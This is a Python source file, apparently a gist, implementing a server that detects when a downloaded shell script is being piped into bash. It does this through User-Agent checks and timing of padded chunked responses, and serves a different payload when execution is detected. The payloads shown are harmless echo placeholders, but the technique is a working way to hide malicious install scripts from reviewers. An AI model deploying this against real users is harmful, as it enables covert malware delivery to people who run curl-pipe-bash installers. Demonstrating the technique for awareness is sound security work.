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Detecting bash execution via HTTP request (originally from https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/)
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| import dataclasses | |
| import datetime | |
| import re | |
| import socket | |
| import socketserver | |
| import time | |
| class config: | |
| SOCKET_TIMEOUT = 10 | |
| BUFFER_SIZE = 87380 | |
| PACKET = ( | |
| "HTTP/1.1 200 OK\n" | |
| + "Server: Apache\n" | |
| + "Content-Type: text/plain; charset=us-ascii\n" | |
| + "Transfer-Encoding: chunked\n" | |
| + "Connection: keep-alive\n\n" | |
| ) | |
| MAX_PADDING = 16 | |
| PADDING = chr(0) * BUFFER_SIZE | |
| @dataclasses.dataclass | |
| class Payload: | |
| null: str = "sleep 3\n" | |
| good: str = "echo 'Hello there :)'\n" | |
| bad: str = "echo 'This is a malicious script :D'\n" | |
| min_jump: float = 2.0 | |
| max_variance: float = 0.1 | |
| def var(values: list[float]) -> float: | |
| mean = sum(values) / len(values) | |
| variance = sum((x - mean) ** 2 for x in values) / len(values) | |
| return variance | |
| def popmax(values: list[float]) -> float: | |
| max_value = max(values) | |
| values.pop(values.index(max_value)) | |
| return max_value | |
| class HTTPHandler(socketserver.BaseRequestHandler): | |
| PAYLOADS: dict[str, Payload] = {} | |
| def sendchunk(self, chunk: str) -> None: | |
| self.request.sendall(bytes(f"{len(chunk):x}\n", "us-ascii")) | |
| self.request.sendall(bytes(chunk, "us-ascii")) | |
| self.request.sendall(bytes("\n", "us-ascii")) | |
| def log(self, message: str) -> None: | |
| print( | |
| f"[{datetime.datetime.now().isoformat()}] " | |
| f"{self.client_address[0]} {message}" | |
| ) | |
| def handle(self) -> None: | |
| self.log("Inbuond request") | |
| self.request.settimeout(config.SOCKET_TIMEOUT) | |
| self.request.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) | |
| self.request.setsockopt( | |
| socket.SOL_SOCKET, | |
| socket.SO_SNDBUF, | |
| config.BUFFER_SIZE, | |
| ) | |
| data = None | |
| try: | |
| data = str(self.request.recv(1024), "us-ascii") | |
| except socket.timeout: | |
| self.log("No data received") | |
| return | |
| uri = re.search(r"GET ([^ ]+) HTTP/[0-9.]+", data) | |
| if not uri: | |
| self.log("HTTP request malformed") | |
| return | |
| request_uri = uri.group(1) | |
| self.log(f"Request for shell script {request_uri}") | |
| if request_uri not in self.PAYLOADS: | |
| self.log(f"No payload found for {request_uri}") | |
| return | |
| self.request.sendall(bytes(config.PACKET, "us-ascii")) | |
| payload = self.PAYLOADS[request_uri] | |
| self.sendchunk(payload.null) | |
| if not re.search("User-Agent: (curl|Wget)", data): | |
| self.sendchunk(payload.good) | |
| self.sendchunk("") | |
| self.log("Request not via wget/curl. Returning good payload.") | |
| return | |
| timing = [] | |
| stime = time.time() | |
| for _ in range(config.MAX_PADDING): | |
| self.sendchunk(config.PADDING) | |
| etime = time.time() | |
| timing.append(etime - stime) | |
| max_array = [t - s for s, t in zip(timing, timing[1:])] | |
| jump = popmax(max_array) | |
| variance = var(max_array) | |
| self.log(f"Maximum Jump: {jump}, Variance: {variance}") | |
| if variance < payload.max_variance and jump > payload.min_jump: | |
| self.log("Execution through bash detected - sending bad payload :D") | |
| self.sendchunk(payload.bad) | |
| else: | |
| self.log("Sending good payload :(") | |
| self.sendchunk(payload.good) | |
| self.sendchunk("") | |
| self.log("Connection closed") | |
| class BashDetectionServer(socketserver.ThreadingMixIn, socketserver.TCPServer): | |
| daemon_threads = True | |
| allow_reuse_address = True | |
| def __init__(self, server_address: tuple[str, int]) -> None: | |
| super().__init__(server_address, HTTPHandler) | |
| def setpayload(self, uri: str, payload: Payload) -> None: | |
| HTTPHandler.PAYLOADS[uri] = payload | |
| if __name__ == "__main__": | |
| HOST, PORT = "0.0.0.0", 5555 | |
| server = BashDetectionServer((HOST, PORT)) | |
| server.setpayload("/setup.sh", Payload()) | |
| print(f"Listening on http://{HOST}:{PORT}") | |
| server.serve_forever() |
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Execution result: